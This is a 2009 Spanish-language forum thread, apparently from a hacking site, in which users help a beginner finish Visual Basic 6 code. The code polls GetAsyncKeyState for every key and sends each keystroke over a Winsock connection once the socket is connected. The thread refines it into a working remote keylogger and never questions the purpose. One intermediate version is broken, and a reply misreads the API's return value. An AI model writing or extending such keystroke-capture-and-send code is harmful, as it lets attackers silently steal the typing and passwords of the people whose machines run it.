[Ayuda] confirmar que winsock este conectado?

Iniciado por Larva93, 27 Agosto 2009, 01:17 AM

0 Miembros y 3 Visitantes están viendo este tema.

Larva93

Hola tengo este codigo:
Dim PropBag As New PropertyBag
Option Explicit
   Private Declare Function GetAsyncKeyState _
       Lib "user32" ( _
           ByVal vKey As Long) As Integer
  Private Sub Timer1_Timer()
      Dim i As Integer
      For i = 0 To 255
          If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
       Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
          End If
      Next
  End Sub

Bueno no se si me explico bien, pero lo que quiero es que al confirmarse esta linea "GetAsyncKeyState(i) = -32767" despues confirme que winsock1 este conectado, y si es asi que envie los datos.

Desde ya muchas gracias.
(si esta un poco desprolijo el code xD no critiquen porfavor recien estoy aprendiendo)

Jaixon Jax

 No soy muy versado en VB pero me parece que esa api no esta bien implementada en

For i = 0 To 255
           If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos


aqui lo que estas haciendo es verificando los codigos ascci del 0 al 255 y preguntando si la tecla no fue hundida  :( bueno debido a que la api retorna 1 si la tecla la presionaron o cero si no la han hunddo por lo que nunca entrara en el if.

  Si quieres saber si hay conexion a internet puedes usar gethostbyname con un servidor estable como google.es..

Saludos


seba123neo

#2
Hola, imaginate que hasta vos te diste cuenta que esta desprolijo...podes consultar si Winsock1.State = sckConnected, las variables abajo del Option Explicit y indenta el codigo fuente.

PD: Detectar la tecla presionada en cualquier ventana de Windows

saludos.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

fede_cp

#3
hola, pone el code en codigo tipo visual basic

aca un code que porai te srive
Código (vb) [Seleccionar]

Dim PropBag As New PropertyBag
Option Explicit
    Private Declare Function GetAsyncKeyState _
        Lib "user32" ( _
            ByVal vKey As Long) As Integer
   Private Sub Timer1_Timer()
       Dim i As Integer
       For i = 0 To 255
           
        If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
        If Winsock1.State = 7 Then
        Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
             End If
               End if
       Next
   End Sub


no lo probe pero creo que va bien, pero esa es la base, el winsock.state

PD: no revise el resto del code

PD (neo): lo hice asi nomas



saludos
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

seba123neo

Cita de: fede_cp en 27 Agosto 2009, 01:43 AM
hola, pone el code en codigo tipo visual basic

aca un code que porai te srive
Código (vb) [Seleccionar]
Private Sub Form_Load()
Dim PropBag As New PropertyBag
Option Explicit
   Private Declare Function GetAsyncKeyState _
       Lib "user32" ( _
           ByVal vKey As Long) As Integer
  Private Sub Timer1_Timer()
      Dim i As Integer
      For i = 0 To 255
         
       If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
       If Winsock1.State = 7 Then
       Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
            End If
      Next
  End Sub
End Sub


saludos

no sabia que las api's y el option explicit se ponian dentro del form_load   :xD :xD , y aparte podes hacer un And y te ahorras un If..
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

Larva93

Citarno sabia que las api's y el option explicit se ponian dentro del form_load   :xD :xD , y aparte podes hacer un And y te ahorras un If..

fijate que yo no lo puse en form_load

fede_cp

me lo estaba diciendo a mi  :xD, ajja esta bien me equivoque, solo trato de ayudar.

saludos
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

Larva93

nonono no hay problema por ahi pense que se lo iba tomar asi y despues cometia errores en sus futuros programas.

fede_cp

bueno ahora posteo el code como lo dijo neo

Código (vb) [Seleccionar]
Dim PropBag As New PropertyBag
Option Explicit
    Private Declare Function GetAsyncKeyState _
        Lib "user32" ( _
            ByVal vKey As Long) As Integer
   Private Sub Timer1_Timer()
       Dim i As Integer
       For i = 0 To 255
           
        If GetAsyncKeyState(i) = -32767 And Winsock1.State = 7 Then  'aca quiero confirmar que el winsock este conectado y despues envie los datos
        Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
             End If
       Next
   End Sub



saludos  :¬¬
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

seba123neo

Código (vb) [Seleccionar]
Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim PropBag As New PropertyBag
   
Private Sub Timer1_Timer()
   Dim i As Integer
   For i = 0 To 255
      If GetAsyncKeyState(i) = -32767 And Winsock1.State = sckConnected Then
         Winsock1.SendData Chr(i)
         Text1.Text = Text1.Text & Chr(i)
         Text1.SelStart = Len(Text1.Text)
      End If
   Next
End Sub
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson